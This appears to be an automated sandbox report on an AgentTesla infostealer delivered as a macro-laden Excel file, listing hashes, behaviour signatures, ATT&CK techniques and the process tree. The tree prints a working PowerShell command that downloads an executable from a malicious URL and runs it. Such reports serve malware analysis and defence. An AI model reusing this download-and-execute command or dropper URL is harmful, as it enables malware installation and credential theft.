agenttesla | 3346dbacdf7e0f240dd2ed2f99af41e4106e10039f096a8142fed178c4413fd9

Analysis

max time kernel
115s
max time network
21s
platform
windows7_x64
resource
win7v20201028
submitted
30/12/2020, 18:13

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General

Target
GPS_Supplier Invitation.xlsm
Size 88KB
Sample201230-14cw4c845e
SHA256 3346dbacdf7e0f240dd2ed2f99af41e4106e10039f096a8142fed178c4413fd9
MD5 709a312090cb59e631148d0d3cf05fef
SHA1 9358cd10d7a6d2e680e41feb6b13b649aebd87b7
SHA512 c7cfe5099e16751931bb2455fadee47e877a3a17c5aef1ef3ed05943a517a754bdea1e1df6b3e53ff122acfa1aa3655ede686a8feb54f636d68335c134fead1b
MD5 SHA1 SHA512

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://gods.brernbanarolle.com/host/food.exe

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1164	596	cmd.exe	24

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1968	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
288	dWQYX.exe
1584	dWQYX.exe

Loads dropped DLL 4 IoCs

pid	Process
1968	powershell.exe
1968	powershell.exe
1968	powershell.exe
1968	powershell.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 288 set thread context of 1584	288	dWQYX.exe	34

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
596	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1968	powershell.exe
1968	powershell.exe
1584	dWQYX.exe
1584	dWQYX.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	1584	dWQYX.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
596	EXCEL.EXE
596	EXCEL.EXE
596	EXCEL.EXE
1584	dWQYX.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 596 wrote to memory of 1164	596	EXCEL.EXE	26
PID 596 wrote to memory of 1164	596	EXCEL.EXE	26
PID 596 wrote to memory of 1164	596	EXCEL.EXE	26
PID 596 wrote to memory of 1164	596	EXCEL.EXE	26
PID 1164 wrote to memory of 1968	1164	cmd.exe	28
PID 1164 wrote to memory of 1968	1164	cmd.exe	28
PID 1164 wrote to memory of 1968	1164	cmd.exe	28
PID 1164 wrote to memory of 1968	1164	cmd.exe	28
PID 1968 wrote to memory of 288	1968	powershell.exe	33
PID 1968 wrote to memory of 288	1968	powershell.exe	33
PID 1968 wrote to memory of 288	1968	powershell.exe	33
PID 1968 wrote to memory of 288	1968	powershell.exe	33
PID 288 wrote to memory of 1584	288	dWQYX.exe	34
PID 288 wrote to memory of 1584	288	dWQYX.exe	34
PID 288 wrote to memory of 1584	288	dWQYX.exe	34
PID 288 wrote to memory of 1584	288	dWQYX.exe	34
PID 288 wrote to memory of 1584	288	dWQYX.exe	34
PID 288 wrote to memory of 1584	288	dWQYX.exe	34
PID 288 wrote to memory of 1584	288	dWQYX.exe	34
PID 288 wrote to memory of 1584	288	dWQYX.exe	34
PID 288 wrote to memory of 1584	288	dWQYX.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\GPS_Supplier Invitation.xlsm"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell (new-object System.Net.WebClient).DownloadFile('http://gods.brernbanarolle.com/host/food.exe',$env:AppData+'\dWQYX.exe');(New-Object -com Shell.Application).ShellExecute($env:AppData+'\dWQYX.exe')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell (new-object System.Net.WebClient).DownloadFile('http://gods.brernbanarolle.com/host/food.exe',$env:AppData+'\dWQYX.exe');(New-Object -com Shell.Application).ShellExecute($env:AppData+'\dWQYX.exe')
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1968
  - - C:\Users\Admin\AppData\Roaming\dWQYX.exe
      "C:\Users\Admin\AppData\Roaming\dWQYX.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:288
    - - C:\Users\Admin\AppData\Roaming\dWQYX.exe
        
        "C:\Users\Admin\AppData\Roaming\dWQYX.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

memory/288-36-0x0000000000260000-0x000000000029C000-memory.dmp

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memory/288-33-0x000000006BD20000-0x000000006C40E000-memory.dmp

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memory/288-34-0x0000000000C30000-0x0000000000C31000-memory.dmp

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memory/1584-42-0x000000006BDE0000-0x000000006C4CE000-memory.dmp

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memory/1584-41-0x0000000000400000-0x000000000043C000-memory.dmp

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memory/1584-40-0x0000000000400000-0x000000000043C000-memory.dmp

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memory/1584-37-0x0000000000400000-0x000000000043C000-memory.dmp

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memory/1968-4-0x000000006BD20000-0x000000006C40E000-memory.dmp

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memory/1968-16-0x0000000006080000-0x0000000006081000-memory.dmp

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memory/1968-5-0x00000000003F0000-0x00000000003F1000-memory.dmp

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memory/1968-6-0x0000000004860000-0x0000000004861000-memory.dmp

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memory/1968-7-0x0000000001050000-0x0000000001051000-memory.dmp

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memory/1968-8-0x0000000005280000-0x0000000005281000-memory.dmp

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memory/1968-11-0x0000000006010000-0x0000000006011000-memory.dmp

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memory/1968-25-0x00000000062C0000-0x00000000062C1000-memory.dmp

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memory/1968-24-0x00000000062A0000-0x00000000062A1000-memory.dmp

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memory/1968-17-0x0000000006130000-0x0000000006131000-memory.dmp

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